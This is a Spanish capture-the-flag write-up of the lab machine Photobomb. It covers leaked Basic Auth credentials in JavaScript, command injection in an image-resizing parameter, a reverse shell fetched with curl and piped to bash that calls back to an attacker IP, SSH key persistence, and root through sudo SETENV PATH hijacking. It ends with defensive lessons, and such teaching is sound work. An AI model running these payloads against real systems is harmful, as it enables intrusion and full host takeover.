Photobomb
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. El80sirve una web (photobomb.htb) con login. En el código fuente JavaScript hay unas credenciales de Basic Auth en claro (pH0t0:b0Mb!). Dentro, una utilidad para descargar imágenes lanzaconvertpor detrás, y el parámetrofiletypeno se sanea: inyección de comandos que da RCE y una reverse shell comowizard(user). Pararoot,sudo -lmuestra/opt/cleanup.shejecutable comorootconSETENV; el script llama afind(y a[) sin ruta absoluta: PATH hijacking.
Reconocimiento
Ping
Empezamos con un ping para confirmar que el host responde y mirar el TTL, que orienta sobre el sistema operativo (≈64 Linux, ≈128 Windows).
ping -c 1 10.10.11.182
64 bytes from 10.10.11.182: icmp_seq=1 ttl=63 time=... msTTL 63 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 63 = 64−1; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.
Escaneo de puertos
Un escaneo completo de los 65535 puertos TCP (lanzado desde una función del .zshrc que envuelve el nmap) devuelve solo dos abiertos, 22 y 80:
sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 10.10.11.182 -oG scan
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Nmap done: 1 IP address (1 host up) scanned in 15.37 secondsPara arrastrar esos dos puertos al siguiente comando sin teclearlos, extractPorts los lee del fichero del escaneo y los deja en el portapapeles:
extractPorts scan
Extracting information ...
IP Address: 10.10.11.182
Open ports: 22,80
Ports copied to clipboardLos 65533 restantes salen closed (reset), o sea que la máquina contesta con RST en lugar de tragarse los paquetes: no hay cortafuegos delante, la superficie es sencillamente pequeña. El escaneo de versiones confirma un OpenSSH no vulnerable y un nginx que redirige a un dominio:
nmap -p22,80 -sCV 10.10.11.182
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 e2:24:73:bb:fb:df:5c:b5:20:b6:68:76:74:8a:b5:8d (RSA)
| 256 04:e3:ac:6e:18:4e:1b:7e:ff:ac:4f:e3:9d:d2:1b:ae (ECDSA)
|_ 256 20:e0:5d:8c:ba:71:f0:8c:3a:18:19:f2:40:11:d2:9e (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://photobomb.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelEl dato que mueve el trabajo está en el http-title: Did not follow redirect to http://photobomb.htb/. El servidor no responde con la web sino con una redirección a un nombre, así que hay virtual hosting y sin resolverlo no se ve nada. Añadimos photobomb.htb a /etc/hosts:
nano /etc/hosts
cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali
10.10.11.182 photobomb.htbHTTP - TCP 80 (credenciales en el código fuente)
whatweb describe la web sin señalar nada aprovechable, y eso también es información: no hay CMS, ni framework reconocible, ni cabeceras raras más allá de las de seguridad:
whatweb http://photobomb.htb
http://photobomb.htb [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.182], Script, Title[Photobomb], UncommonHeaders[x-content-type-options], X-Frame-Options[SAMEORIGIN], X-XSS-Protection[1; mode=block]Wappalyzer añade una pieza que sí importa: bajo Security aparece Basic, es decir, la aplicación usa autenticación HTTP básica. Y la propia página lo dice con palabras: hay un enlace click here! y, entre paréntesis, "the credentials are in your welcome pack".

Antes de buscar esas credenciales a ciegas, se mira el código fuente, que en una web tan pequeña se lee entero de una pasada. El HTML no esconde nada, pero carga un JavaScript propio:

<script src="photobomb.js"></script>
...
<p>To get started, please <a href="/printer" class="creds">click here!</a> (the credentials are in your welcome pack).</p>Un enlace con la clase creds apuntando a /printer y un .js propio al lado: hay que abrirlo. Y ahí está el premio, un comentario revelador y una URL con credenciales incrustadas:

function init() {
// Jameson: pre-populate creds for tech support as they keep forgetting them ...
if (document.cookie.match(/^(.*;)?\s*isPhotoBombTechSupport\s*=\s*[^;]+(.*)?$/)) {
document.getElementsByClassName('creds')[0].setAttribute('href','http://pH0t0:b0Mb!@photobomb.htb/printer');
}
}Las credenciales pH0t0:b0Mb! estaban en claro en el JS (un caso clásico de credenciales en el código fuente).
Un dirsearch no descubre rutas nuevas, pero devuelve una línea que conviene leer bien:
dirsearch -u http://photobomb.htb/ --exclude-status=403,404
[14:06:36] 200 - 11KB - /favicon.ico
[14:06:55] 401 - 590B - /printer
Task CompletedEl 401 en /printer no es un fallo del escaneo: es la confirmación de que esa ruta existe y está protegida por autenticación, justo la que tenemos. De 11460 palabras probadas, la única puerta es la que ya conocíamos.
El enlace click here! de la portada es precisamente el que apunta a /printer, y al seguirlo el navegador pide las credenciales por autenticación básica. Son las que acabamos de leer en el JS:

http://photobomb.htb
This site is asking you to sign in.
Username: pH0t0
Password: b0Mb!Shell como wizard
Inyección de comandos en la utilidad de imágenes
Autenticados, llegamos a /printer: una utilidad con una galería de fotos, un desplegable de tipo de fichero y una fila de tamaños, desde 30x20 - micro SD card hasta 3000x2000 - mousemat. Descargamos la misma foto en los dos extremos:

Y ahí salta el detalle: la de 3000x2000 tarda bastante más antes de empezar a bajar, no mientras baja. Un fichero grande tarda más en transferirse, eso es normal; lo que no es normal es que la espera ocurra antes del primer byte. Eso significa que el servidor está generando la imagen al vuelo, y la sospecha inmediata es un convert de ImageMagick por detrás. Se puede comprobar en local con la misma herramienta y un time:
time convert foto_30x20.png -resize 600x600 foto_600x600.png
time convert foto_30x20.png -resize 3000x2000 foto_big.png
# -resize 600x600 real 0.18s
# -resize 3000x2000 real 1.40sEl comportamiento encaja: el tiempo crece con el tamaño pedido. Y donde hay un comando del sistema alimentado con parámetros del usuario, puede haber inyección de comandos.
Interceptamos la petición con Burp para ver exactamente qué se envía:

POST /printer HTTP/1.1
Host: photobomb.htb
Content-Type: application/x-www-form-urlencoded
Authorization: Basic cEgwdDA6YjBNYiE=
photo=mark-mc-neill-4xWHIpY2QcY-unsplash.jpg&filetype=png&dimensions=30x20HTTP/1.1 200 OK
Content-Type: image/png
Content-Length: 1821
Content-Disposition: attachment; filename=mark-mc-neill-...Tres campos controlados por nosotros (photo, filetype, dimensions) y una respuesta que es la imagen generada. El Authorization: Basic cEgwdDA6YjBNYiE= es simplemente pH0t0:b0Mb! en base64, que es todo lo que hace Basic Auth. Probamos a inyectar ;sleep 5 campo por campo para ver cuál se ejecuta (técnica de retardo temporal):
# inyección en photo (no funciona, queda saneado)
time curl 'http://photobomb.htb/printer' -d 'photo=...jpg;sleep+5+#&filetype=png&dimensions=30x20' -H 'Authorization: Basic cEgwdDA6YjBNYiE='
# inyección en filetype (SÍ funciona)
time curl 'http://photobomb.htb/printer' -d 'photo=...jpg&filetype=png;sleep+5+#&dimensions=30x20' -H 'Authorization: Basic cEgwdDA6YjBNYiE='
# photo → "Source photo does not exist." real 0.52s (no ejecuta)
# filetype → "Failed to generate a copy..." real 7.47s (sleep 5 ejecutado)El parámetro photo está saneado, pero filetype no: el retardo de 7,47 s confirma que el sleep 5 se ejecutó. Tenemos RCE.
Reverse shell
Para evitar problemas con caracteres especiales, dejamos el one-liner de la reverse shell en un script y lo servimos por HTTP; la inyección solo tiene que hacer un curl ... | bash:
nano revshell.sh
cat revshell.sh
python3 -m http.server 80sudo nc -nlvp 443
File: revshell.sh
1 #!/bin/bash
2
3 bash -c 'bash -i >& /dev/tcp/10.10.16.6/443 0>&1'
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
listening on [any] 443 ...El payload, inyectado en filetype de la petición POST /printer:

photo=...unsplash.jpg&filetype=png;curl+http://10.10.16.6/revshell.sh|bash+#&dimensions=30x20El # final no es adorno: comenta el resto de la línea que el servidor iba a construir, para que lo que venga detrás de nuestra inyección no rompa el comando. Al enviarla, las dos ventanas se mueven a la vez, el servidor HTTP registra la descarga del script y el listener recibe la conexión como wizard:

10.10.11.182 - - [10/Oct/2025 14:51:51] "GET /revshell.sh HTTP/1.1" 200 -
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.182] 43234
bash: cannot set terminal process group (692): Inappropriate ioctl for device
bash: no job control in this shell
wizard@photobomb:~/photobomb$ whoami
wizardLos dos avisos de bash son los de siempre en una shell sin TTY: no hay terminal de control, así que no hay control de trabajos (nada de Ctrl+C ni Ctrl+Z sin romper la sesión). Como el 22 está abierto, en vez de pelear con la estabilización generamos un par de claves y entramos por SSH, que da una sesión completa y además sirve de persistencia:
ssh-keygen
cat /home/wizard/.ssh/id_rsa.pub > /home/wizard/.ssh/authorized_keys
chmod 600 /home/wizard/.ssh/authorized_keys
cat /home/wizard/.ssh/id_rsa # se copia a la Kali
ssh -i id_rsa wizard@10.10.11.182
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-126-generic x86_64)
...
Last login: Mon Oct 3 22:39:03 2022 from 10.10.14.23
wizard@photobomb:~$El banner de SSH regala de paso la versión exacta del sistema, Ubuntu 20.04.5 LTS con kernel 5.4.0-126, que es justo lo que hay que mirar antes de plantearse cualquier vía por kernel. Ya estable, la flag de usuario:
cat user.txt
eefdd53e4b3be41d8c177fcabb62eb7dEscalada de privilegios a root
sudo + cleanup.sh: PATH hijacking
Enumeramos los privilegios sudo:
sudo -l
cat /opt/cleanup.sh
Matching Defaults entries for wizard on photobomb:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User wizard may run the following commands on photobomb:
(root) SETENV: NOPASSWD: /opt/cleanup.shMerece la pena leer también la primera mitad, la de Matching Defaults entries, porque describe las dos defensas que sudo trae de serie: env_reset limpia el entorno antes de ejecutar y secure_path impone un PATH fijo de directorios del sistema. Con esas dos, un PATH hijacking no debería funcionar. La regla de abajo es la que las anula.
#!/bin/bash
. /opt/.bashrc
cd /home/wizard/photobomb
# clean up log files
if [ -s log/photobomb.log ] && ! [ -L log/photobomb.log ]
then
/bin/cat log/photobomb.log > log/photobomb.log.old
/usr/bin/truncate -s0 log/photobomb.log
fi
# protect the priceless originals
find source_images -type f -name '*.jpg' -exec chown root:root {} \;Dos detalles encajan. Primero, el último comando llama a find sin ruta absoluta, así que root lo buscará recorriendo el PATH. Segundo, y crucial, la regla incluye SETENV: nos permite pasar variables de entorno (incluida PATH) a sudo, algo que normalmente env_reset impediría. Es un PATH hijacking de manual: dejamos un find falso en un directorio escribible y ponemos ese directorio el primero del PATH al lanzar el script:
cd /tmp
echo 'chmod u+s /bin/bash' > find
chmod +x find
sudo PATH=/tmp:$PATH /opt/cleanup.sh
ls -l /bin/bash
bash -p
whoami
-rwsr-xr-x 1 root root 1183448 Apr 18 2022 /bin/bash
rootEl find falso (que hace chmod u+s /bin/bash) corre como root al ejecutar el script, deja /bin/bash con bit SUID, y bash -p (que conserva el euid elevado) abre una shell de root.
Variante: secuestrar el binario [
Hay una segunda vía sobre el mismo script. La primera línea hace . /opt/.bashrc, y ese fichero contiene enable -n [, que desactiva el [ como builtin de la shell y obliga a usar el binario externo [:
cat /opt/.bashrc | grep -v '^#' | head -n 10
PATH=${PATH:/:\/snap\/bin/}
enable -n [ # ]
[ -z "$PS1" ] && return
shopt -s checkwinsizeComo el if [ -s ... ] del script usa ahora el [ externo (y también sin ruta absoluta), se puede secuestrar igual que find:
cd /tmp
echo 'bash' > '['
chmod +x '['
ls -l '['
sudo PATH=/tmp:$PATH /opt/cleanup.sh
whoami
-rwxrwxr-x 1 wizard wizard 5 Oct 10 13:31 '['
root@photobomb:/tmp# whoami
rootEsta variante es incluso más directa que la del find: el [ se ejecuta en la línea del if, o sea al principio del script, y como el fichero falso contiene literalmente bash, lo que se abre es una shell de root en el acto (se ve en el cambio de prompt), sin pasar por el SUID.
Ambas vías terminan en root. La flag final:
cat /root/root.txt
ebceae1ff60b6e188fb185677bf25407Cadena de ataque
nmap TCP (22, 80) → photobomb.htb
└─> código fuente photobomb.js → creds Basic Auth pH0t0:b0Mb!
└─> /printer: utilidad de imágenes → convert por detrás
└─> command injection en el parámetro filetype → RCE
└─> curl revshell.sh | bash → shell como wizard (user.txt)
└─> sudo -l: /opt/cleanup.sh como root con SETENV
└─> find (y [) sin ruta absoluta → PATH hijacking
└─> sudo PATH=/tmp:$PATH ... → bash -p → root (root.txt)Lecciones aprendidas
- El código fuente filtra secretos. Unas credenciales de soporte quedaron incrustadas en un
.jsservido al cliente: nunca poner secretos en el código del frontend. Inspeccionar el fuente es de los primeros pasos en cualquier web. - Si un parámetro alimenta un comando, pruébalo. El retardo antes de la descarga delataba un
convertpor detrás; un;sleep 5por parámetro confirmó la inyección de comandos (y mostró que solofiletype, nophoto, estaba sin sanear). SETENVen sudoers es peligroso. Permitir pasar el entorno a un script derootrompe la protección deenv_resety abre la puerta a manipular elPATH.- Invocar binarios por nombre desde código privilegiado es un riesgo.
find(y el[externo, forzado porenable -n [) sin ruta absoluta convirtieroncleanup.shen un PATH hijacking doble. Llamar siempre por ruta absoluta lo habría evitado. - Un
401en un escaneo de rutas es un hallazgo, no un fallo.dirsearchno encontró nada nuevo, pero el401 - 590B - /printerconfirmaba que la ruta existía y estaba protegida justo por la autenticación que acabábamos de encontrar en el.js. - La latencia es un canal. Que la espera ocurriera antes del primer byte y no durante la transferencia es lo que delató que la imagen se generaba al vuelo. Reproducir el
converten local contimeconvirtió una corazonada en una hipótesis medible. - Lee la mitad de arriba del
sudo -l. Elenv_resety elsecure_pathdeMatching Defaultsexisten precisamente para impedir esto; elSETENVde la regla es lo que los desactiva. Sin esa palabra, el ataque no sale. - En una shell sin TTY, el SSH es la mejor estabilización. Con el
22abierto, generar un par de claves da sesión completa, sobrevive a la caída de la reverse shell y de regalo el banner dice la versión exacta del sistema.